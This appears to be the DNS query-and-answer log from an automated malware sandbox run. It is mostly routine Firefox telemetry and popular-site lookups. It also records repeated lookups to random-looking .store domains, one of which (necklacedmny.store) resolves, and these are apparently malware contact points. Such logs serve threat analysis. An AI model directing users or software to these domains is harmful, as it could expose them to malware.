Oct 31, 2024 04:16:37.810373068 CET	192.168.2.4	1.1.1.1	0x1304	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.812758923 CET	192.168.2.4	1.1.1.1	0x27c2	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:37.829838991 CET	192.168.2.4	1.1.1.1	0x98bf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:38.252604961 CET	192.168.2.4	1.1.1.1	0xb9d4	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.261162996 CET	192.168.2.4	1.1.1.1	0x85b3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.265944004 CET	192.168.2.4	1.1.1.1	0xa2f8	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.269002914 CET	192.168.2.4	1.1.1.1	0x187e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:38.275005102 CET	192.168.2.4	1.1.1.1	0x8de7	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.294423103 CET	192.168.2.4	1.1.1.1	0x9920	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.403829098 CET	192.168.2.4	1.1.1.1	0xb3a7	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.413513899 CET	192.168.2.4	1.1.1.1	0x1a50	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.420747042 CET	192.168.2.4	1.1.1.1	0x7feb	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:53.819397926 CET	192.168.2.4	1.1.1.1	0x6f4b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:53.888746023 CET	192.168.2.4	1.1.1.1	0x207a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:53.904248953 CET	192.168.2.4	1.1.1.1	0x5e0f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:53.924254894 CET	192.168.2.4	1.1.1.1	0xb592	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:53.924254894 CET	192.168.2.4	1.1.1.1	0xd7f5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:54.156857014 CET	192.168.2.4	1.1.1.1	0xe078	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.330322027 CET	192.168.2.4	1.1.1.1	0x4d85	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.331357002 CET	192.168.2.4	1.1.1.1	0x9d0f	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.402214050 CET	192.168.2.4	1.1.1.1	0x4296	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.402578115 CET	192.168.2.4	1.1.1.1	0x7925	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.409984112 CET	192.168.2.4	1.1.1.1	0x958d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.410038948 CET	192.168.2.4	1.1.1.1	0xc252	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:54.412553072 CET	192.168.2.4	1.1.1.1	0xbbe4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:54.455406904 CET	192.168.2.4	1.1.1.1	0x7763	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:57.743295908 CET	192.168.2.4	1.1.1.1	0xecb8	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:57.751020908 CET	192.168.2.4	1.1.1.1	0x70ab	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:57.801218987 CET	192.168.2.4	1.1.1.1	0x5102	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.145641088 CET	192.168.2.4	1.1.1.1	0x44e1	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.146054983 CET	192.168.2.4	1.1.1.1	0x1b15	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.146404028 CET	192.168.2.4	1.1.1.1	0x903e	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.218451977 CET	192.168.2.4	1.1.1.1	0xfa93	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.222567081 CET	192.168.2.4	1.1.1.1	0x9be4	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.225756884 CET	192.168.2.4	1.1.1.1	0x9949	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.241261005 CET	192.168.2.4	1.1.1.1	0xbb8b	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.246618986 CET	192.168.2.4	1.1.1.1	0x4578	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.260250092 CET	192.168.2.4	1.1.1.1	0xab2b	Standard query (0)	dualstack.reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.260596037 CET	192.168.2.4	1.1.1.1	0x95a7	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.287192106 CET	192.168.2.4	1.1.1.1	0xed9e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.301608086 CET	192.168.2.4	1.1.1.1	0x2a7f	Standard query (0)	dualstack.reddit.map.fastly.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.346659899 CET	192.168.2.4	1.1.1.1	0xf713	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.945580006 CET	192.168.2.4	1.1.1.1	0x5eb8	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.953011990 CET	192.168.2.4	1.1.1.1	0x68cb	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:58.970112085 CET	192.168.2.4	1.1.1.1	0x704c	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.989315987 CET	192.168.2.4	1.1.1.1	0xb7e1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.999232054 CET	192.168.2.4	1.1.1.1	0x9590	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:59.009299040 CET	192.168.2.4	1.1.1.1	0xcaff	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:00.040992022 CET	192.168.2.4	1.1.1.1	0x3e91	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:10.663422108 CET	192.168.2.4	1.1.1.1	0x3b02	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:20.858031034 CET	192.168.2.4	1.1.1.1	0x391e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.063827038 CET	192.168.2.4	1.1.1.1	0xe0e2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:21.114043951 CET	192.168.2.4	1.1.1.1	0xcf77	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.125462055 CET	192.168.2.4	1.1.1.1	0xe0e2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:21.133399010 CET	192.168.2.4	1.1.1.1	0x68eb	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.148874998 CET	192.168.2.4	1.1.1.1	0xcf77	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.204397917 CET	192.168.2.4	1.1.1.1	0x34fb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.204397917 CET	192.168.2.4	1.1.1.1	0x68eb	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.265466928 CET	192.168.2.4	1.1.1.1	0x3365	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.385998964 CET	192.168.2.4	1.1.1.1	0x429c	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:21.436696053 CET	192.168.2.4	1.1.1.1	0xaf04	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:22.096977949 CET	192.168.2.4	1.1.1.1	0x30e2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:24.175411940 CET	192.168.2.4	1.1.1.1	0xe056	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:17:25.176872015 CET	192.168.2.4	1.1.1.1	0x1220	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:25.178915024 CET	192.168.2.4	1.1.1.1	0x1695	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:27.117222071 CET	192.168.2.4	1.1.1.1	0xac6e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:42.130511045 CET	192.168.2.4	1.1.1.1	0xb3af	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:42.139348984 CET	192.168.2.4	1.1.1.1	0xcce8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:17:50.159495115 CET	192.168.2.4	1.1.1.1	0x36a6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:50.199306011 CET	192.168.2.4	1.1.1.1	0x6236	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:18:03.539040089 CET	192.168.2.4	1.1.1.1	0xcb03	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:03.546739101 CET	192.168.2.4	1.1.1.1	0x4bd2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:18:04.180505991 CET	192.168.2.4	1.1.1.1	0xdecb	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:18:20.968097925 CET	192.168.2.4	1.1.1.1	0xdcd7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:18:21.596581936 CET	192.168.2.4	1.1.1.1	0xffd0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:44.297545910 CET	192.168.2.4	1.1.1.1	0x72d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:44.305248976 CET	192.168.2.4	1.1.1.1	0x97e7	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 04:18:44.925034046 CET	192.168.2.4	1.1.1.1	0xddd8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 04:14:55.577722073 CET	1.1.1.1	192.168.2.4	0xc783	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.593422890 CET	1.1.1.1	192.168.2.4	0x1c32	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.603837013 CET	1.1.1.1	192.168.2.4	0xb0a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.613228083 CET	1.1.1.1	192.168.2.4	0x4e23	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.627959967 CET	1.1.1.1	192.168.2.4	0x7a09	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.627959967 CET	1.1.1.1	192.168.2.4	0x7a09	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.965243101 CET	1.1.1.1	192.168.2.4	0x1277	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.979302883 CET	1.1.1.1	192.168.2.4	0x195c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.990811110 CET	1.1.1.1	192.168.2.4	0xb0cd	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:13.004267931 CET	1.1.1.1	192.168.2.4	0xd045	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.888228893 CET	1.1.1.1	192.168.2.4	0x16c3	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.902117968 CET	1.1.1.1	192.168.2.4	0xbf6b	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.913252115 CET	1.1.1.1	192.168.2.4	0x61c8	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.924438953 CET	1.1.1.1	192.168.2.4	0xbd53	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:34.570770979 CET	1.1.1.1	192.168.2.4	0xddd9	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:34.617173910 CET	1.1.1.1	192.168.2.4	0xb903	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.218883038 CET	1.1.1.1	192.168.2.4	0x924f	No error (0)	youtube.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.227076054 CET	1.1.1.1	192.168.2.4	0x8882	No error (0)	youtube.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.234280109 CET	1.1.1.1	192.168.2.4	0x84a5	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:37.401650906 CET	1.1.1.1	192.168.2.4	0xa48	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:37.401650906 CET	1.1.1.1	192.168.2.4	0xa48	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.412095070 CET	1.1.1.1	192.168.2.4	0x1717	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.438493967 CET	1.1.1.1	192.168.2.4	0x8ab	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:37.798054934 CET	1.1.1.1	192.168.2.4	0xa6a5	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.806651115 CET	1.1.1.1	192.168.2.4	0x9287	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:37.806651115 CET	1.1.1.1	192.168.2.4	0x9287	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.812243938 CET	1.1.1.1	192.168.2.4	0xc006	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.828840017 CET	1.1.1.1	192.168.2.4	0x1304	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.259501934 CET	1.1.1.1	192.168.2.4	0xb9d4	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:38.259501934 CET	1.1.1.1	192.168.2.4	0xb9d4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.272478104 CET	1.1.1.1	192.168.2.4	0xa2f8	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.281657934 CET	1.1.1.1	192.168.2.4	0x8de7	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.281657934 CET	1.1.1.1	192.168.2.4	0x8de7	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.300901890 CET	1.1.1.1	192.168.2.4	0x9920	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:38.300901890 CET	1.1.1.1	192.168.2.4	0x9920	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.410505056 CET	1.1.1.1	192.168.2.4	0xb3a7	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:38.410505056 CET	1.1.1.1	192.168.2.4	0xb3a7	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:38.410505056 CET	1.1.1.1	192.168.2.4	0xb3a7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.420248985 CET	1.1.1.1	192.168.2.4	0x1a50	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:38.427419901 CET	1.1.1.1	192.168.2.4	0x7feb	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:53.796824932 CET	1.1.1.1	192.168.2.4	0x41e0	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:53.911657095 CET	1.1.1.1	192.168.2.4	0x5e0f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.164043903 CET	1.1.1.1	192.168.2.4	0xe078	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:54.337093115 CET	1.1.1.1	192.168.2.4	0x4d85	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.337470055 CET	1.1.1.1	192.168.2.4	0x594f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.337898970 CET	1.1.1.1	192.168.2.4	0x9d0f	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:54.337898970 CET	1.1.1.1	192.168.2.4	0x9d0f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.349071980 CET	1.1.1.1	192.168.2.4	0x5a5c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:54.349071980 CET	1.1.1.1	192.168.2.4	0x5a5c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.408752918 CET	1.1.1.1	192.168.2.4	0x4296	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.409315109 CET	1.1.1.1	192.168.2.4	0x7925	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.416734934 CET	1.1.1.1	192.168.2.4	0x958d	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:54.985955954 CET	1.1.1.1	192.168.2.4	0xfd93	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:57.750284910 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:57.750284910 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:57.750284910 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:57.785962105 CET	1.1.1.1	192.168.2.4	0x70ab	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.156151056 CET	1.1.1.1	192.168.2.4	0x1b15	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:58.156151056 CET	1.1.1.1	192.168.2.4	0x1b15	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.156656027 CET	1.1.1.1	192.168.2.4	0x903e	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:58.156656027 CET	1.1.1.1	192.168.2.4	0x903e	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.225110054 CET	1.1.1.1	192.168.2.4	0xfa93	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.229181051 CET	1.1.1.1	192.168.2.4	0x9be4	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.232681036 CET	1.1.1.1	192.168.2.4	0x9949	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.248131990 CET	1.1.1.1	192.168.2.4	0xbb8b	No error (0)	www.reddit.com	dualstack.reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:16:58.248131990 CET	1.1.1.1	192.168.2.4	0xbb8b	No error (0)	dualstack.reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.248131990 CET	1.1.1.1	192.168.2.4	0xbb8b	No error (0)	dualstack.reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.248131990 CET	1.1.1.1	192.168.2.4	0xbb8b	No error (0)	dualstack.reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.248131990 CET	1.1.1.1	192.168.2.4	0xbb8b	No error (0)	dualstack.reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.253154993 CET	1.1.1.1	192.168.2.4	0x4578	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.267286062 CET	1.1.1.1	192.168.2.4	0x95a7	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.267997026 CET	1.1.1.1	192.168.2.4	0xab2b	No error (0)	dualstack.reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.267997026 CET	1.1.1.1	192.168.2.4	0xab2b	No error (0)	dualstack.reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.267997026 CET	1.1.1.1	192.168.2.4	0xab2b	No error (0)	dualstack.reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.267997026 CET	1.1.1.1	192.168.2.4	0xab2b	No error (0)	dualstack.reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.293833971 CET	1.1.1.1	192.168.2.4	0xed9e	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.308716059 CET	1.1.1.1	192.168.2.4	0x2a7f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.308716059 CET	1.1.1.1	192.168.2.4	0x2a7f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.308716059 CET	1.1.1.1	192.168.2.4	0x2a7f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.308716059 CET	1.1.1.1	192.168.2.4	0x2a7f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
